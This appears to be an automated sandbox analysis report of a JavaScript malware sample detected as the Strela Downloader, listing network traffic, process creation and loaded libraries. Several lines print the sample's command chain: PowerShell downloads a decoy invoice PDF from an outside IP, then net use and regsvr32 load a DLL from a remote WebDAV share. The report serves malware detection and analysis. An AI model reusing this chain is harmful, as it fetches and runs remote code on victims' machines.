Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: global traffic

TCP traffic: 192.168.2.6:49738 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2164037321.0000027A3E717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/E
Source: net.exe, 00000007.00000002.2256954547.000002B0BF08E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2256954547.000002B0BF0BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2256954547.000002B0BF08E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce-
Source: svchost.exe, 00000009.00000002.3464420115.000001ECDFE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2309610602.000001ECDFC70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4904, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 179861427815317256.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@32/47@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4876:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqi3lbrk.u3k.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 179861427815317256.js

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\179861427815317256.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1636 --field-trial-handle=1532,i,17580937452729996995,620727007829865619,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1636 --field-trial-handle=1532,i,17580937452729996995,620727007829865619,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
